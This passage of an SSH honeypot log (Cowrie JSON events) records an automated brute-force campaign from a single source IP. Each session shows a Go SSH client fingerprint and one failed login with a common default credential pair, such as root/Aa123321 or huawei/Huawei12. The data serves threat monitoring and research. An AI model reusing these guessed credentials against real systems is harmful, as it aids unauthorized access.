{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:53:15.356905Z","src_ip":"43.134.24.11","session":"17fe8c1e3496","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Aa123321","message":"login attempt [root/Aa123321] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:53:16.070598Z","src_ip":"43.134.24.11","session":"17fe8c1e3496","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:53:17.311894Z","src_ip":"43.134.24.11","session":"17fe8c1e3496","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.134.24.11","src_port":34288,"dst_ip":"10.17.0.5","dst_port":22,"session":"fb82f7d99d77","protocol":"ssh","message":"New connection: 43.134.24.11:34288 (10.17.0.5:22) [session: fb82f7d99d77]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:53:20.917484Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:53:20.922157Z","src_ip":"43.134.24.11","session":"fb82f7d99d77","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:53:21.159572Z","src_ip":"43.134.24.11","session":"fb82f7d99d77","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"wang","password":"wang","message":"login attempt [wang/wang] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:53:21.901415Z","src_ip":"43.134.24.11","session":"fb82f7d99d77","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:53:23.272016Z","src_ip":"43.134.24.11","session":"fb82f7d99d77","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.134.24.11","src_port":1812,"dst_ip":"10.17.0.5","dst_port":22,"session":"53938e1fe503","protocol":"ssh","message":"New connection: 43.134.24.11:1812 (10.17.0.5:22) [session: 53938e1fe503]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:53:26.613623Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:53:26.617846Z","src_ip":"43.134.24.11","session":"53938e1fe503","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:53:26.855758Z","src_ip":"43.134.24.11","session":"53938e1fe503","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin123","password":"admin123","message":"login attempt [admin123/admin123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:53:27.567730Z","src_ip":"43.134.24.11","session":"53938e1fe503","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:53:28.808565Z","src_ip":"43.134.24.11","session":"53938e1fe503","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.134.24.11","src_port":39405,"dst_ip":"10.17.0.5","dst_port":22,"session":"6f5f4c367dd5","protocol":"ssh","message":"New connection: 43.134.24.11:39405 (10.17.0.5:22) [session: 6f5f4c367dd5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:53:32.418222Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:53:32.422624Z","src_ip":"43.134.24.11","session":"6f5f4c367dd5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:53:32.660853Z","src_ip":"43.134.24.11","session":"6f5f4c367dd5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"app","password":"app123","message":"login attempt [app/app123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:53:33.392493Z","src_ip":"43.134.24.11","session":"6f5f4c367dd5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:53:34.636362Z","src_ip":"43.134.24.11","session":"6f5f4c367dd5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.134.24.11","src_port":60776,"dst_ip":"10.17.0.5","dst_port":22,"session":"472ad20f7063","protocol":"ssh","message":"New connection: 43.134.24.11:60776 (10.17.0.5:22) [session: 472ad20f7063]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:53:38.161823Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:53:38.177001Z","src_ip":"43.134.24.11","session":"472ad20f7063","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:53:38.401913Z","src_ip":"43.134.24.11","session":"472ad20f7063","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"fastuser","password":"fastuser","message":"login attempt [fastuser/fastuser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:53:39.343544Z","src_ip":"43.134.24.11","session":"472ad20f7063","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:53:40.584318Z","src_ip":"43.134.24.11","session":"472ad20f7063","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.134.24.11","src_port":1813,"dst_ip":"10.17.0.5","dst_port":22,"session":"6e707f528fec","protocol":"ssh","message":"New connection: 43.134.24.11:1813 (10.17.0.5:22) [session: 6e707f528fec]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:53:44.030743Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:53:44.034923Z","src_ip":"43.134.24.11","session":"6e707f528fec","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:53:44.272303Z","src_ip":"43.134.24.11","session":"6e707f528fec","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"huawei","password":"Huawei12","message":"login attempt [huawei/Huawei12] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:53:45.007389Z","src_ip":"43.134.24.11","session":"6e707f528fec","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:53:46.254860Z","src_ip":"43.134.24.11","session":"6e707f528fec","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.134.24.11","src_port":54881,"dst_ip":"10.17.0.5","dst_port":22,"session":"39e5d9163dd1","protocol":"ssh","message":"New connection: 43.134.24.11:54881 (10.17.0.5:22) [session: 39e5d9163dd1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:53:49.675303Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:53:49.706388Z","src_ip":"43.134.24.11","session":"39e5d9163dd1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:53:49.922150Z","src_ip":"43.134.24.11","session":"39e5d9163dd1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"omm","password":"omm","message":"login attempt [omm/omm] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:53:50.895815Z","src_ip":"43.134.24.11","session":"39e5d9163dd1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:53:52.144021Z","src_ip":"43.134.24.11","session":"39e5d9163dd1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.134.24.11","src_port":54882,"dst_ip":"10.17.0.5","dst_port":22,"session":"f49b7b3da1ee","protocol":"ssh","message":"New connection: 43.134.24.11:54882 (10.17.0.5:22) [session: f49b7b3da1ee]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:53:55.458865Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:53:55.462838Z","src_ip":"43.134.24.11","session":"f49b7b3da1ee","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:53:55.708402Z","src_ip":"43.134.24.11","session":"f49b7b3da1ee","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ranga","password":"ranga","message":"login attempt [ranga/ranga] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:53:56.463135Z","src_ip":"43.134.24.11","session":"f49b7b3da1ee","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:53:57.711581Z","src_ip":"43.134.24.11","session":"f49b7b3da1ee","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.134.24.11","src_port":18004,"dst_ip":"10.17.0.5","dst_port":22,"session":"0c211d17db75","protocol":"ssh","message":"New connection: 43.134.24.11:18004 (10.17.0.5:22) [session: 0c211d17db75]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:54:01.192489Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:54:01.198462Z","src_ip":"43.134.24.11","session":"0c211d17db75","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 